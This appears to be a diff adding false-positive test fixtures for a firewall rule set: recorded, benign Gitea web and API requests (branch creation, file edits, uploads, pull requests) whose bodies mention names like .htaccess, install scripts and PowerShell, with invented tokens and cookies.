+{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=550f5bc9ec44f5e1a7421342d5a29584893637e0&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 168", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=918ad9ba97e11df8bb1153b69029b667a8913ab1&commit_summary=Remove+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d38a7aa4e96146ab653ff3f4ddfe7c4be030c0ef&commit_summary=Remove+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
+{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
+{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
+{"method": "POST", "target": "/alice/tools/settings/rename_branch", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
+{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 335", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A++++restart%3A+always&commit_summary=Restart+the+web+service&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 251", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&page_has_posted=&tree_path=docs%2Fsetup.md&content=%23+Setup&commit_summary=Add+setup+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=powershell-setup-notes&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 195", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=81a7c32c1d6563647702da20db8b312378dbb09a&commit_summary=Drop+the+old+setup+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
+{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
+{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
+{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 267", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=b69a66a389d3a15c29f4cadf8d92662b97edefc4&page_has_posted=&tree_path=.htaccess&content=Options+-Indexes%0D%0A%23+No+directory+listings%0D%0A&commit_summary=Update+.htaccess&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 298", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=af80d9f64107082ff52b6aae5a10828742fe01c2&page_has_posted=&tree_path=scripts%2Finstall-script.sh&content=echo+Installing+the+tools.%0D%0Aecho+Done.%0D%0A&commit_summary=Update+scripts%2Finstall-script.sh&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhkq69WdAprWrxB7m", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryhkq69WdAprWrxB7m\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryhkq69WdAprWrxB7m--\r\n"}
+{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=docs&files=d730c135-cc1c-49b7-a402-d237c0828939&files_fullpath%5Bd730c135-cc1c-49b7-a402-d237c0828939%5D=release-notes.txt&commit_summary=Upload+the+release+notes&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=feat%2Fdocker-support&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPZVdfDJ4Whs72TTk", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryPZVdfDJ4Whs72TTk\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryPZVdfDJ4Whs72TTk--\r\n"}
+{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 291", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "tree_path=scripts%2Fpowershell&files=4eb22017-b621-4063-b0a9-ce7cdf5e0853&files_fullpath%5B4eb22017-b621-4063-b0a9-ce7cdf5e0853%5D=build.ps1&commit_summary=Add+a+PowerShell+build+script&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=fix-powershell-module&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 222", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=python3-migration&commit_mail_id=1"}
+{"method": "POST", "target": "/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_cherrypick/eaeafe7b6643980ed307c92179bc096ef34832a3/main", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "last_commit=d67674a8bc9dece3fd3dd7486e58e44ca7431457&page_has_posted=true&revert=false&commit_summary=Document+.htaccess&commit_message=&commit_choice=commit-to-new-branch&new_branch_name=update-powershell-docs&commit_mail_id=1"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
+{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 97", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "HX-Current-URL: http://example.com/alice/tools/_edit/main/docs/setup.md", "Content-Type: application/x-www-form-urlencoded", "HX-Request: true", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: session=8d3e1f0a6b2c9d47; lang=en-US"], "body": "context=%2Falice%2Ftools%2Fsrc%2Fbranch%2Fmain&content=%23%20Setup%0A%0AInstall%20the%20tools.%0A"}
+{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
+{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}

internal/coreruleset/testdata/gitea-names-in-bodies.txt

@@ -0,0 +1,41 @@
+# Ordinary gitea 1.27.3 requests that name a file or a branch in a body, which
+# the Core Rule Set must let through while it reads bodies. They were recorded
+# from a gitea driven by a headless Chrome, signed in, and by a script on the
+# API. Each line is one request as JSON. Names, cookies and tokens are
+# invented. The browser's User-Agent is an ordinary Chrome's.
+{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
+{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
+{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 864", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd2r1zGuX9U2OBld1", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n  web:\r\n    image: nginx:1.27\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nPin nginx\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n0735bcea75feef4e6d8b85866be904fadd379426\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1--\r\n"}
+{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 862", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywVqkqv2Jr7ji4Kze", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/python3-setup.md\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n\r\nInstall the tools.\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n71e995c2394ac116247f342fb116b0058e1ec738\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze--\r\n"}
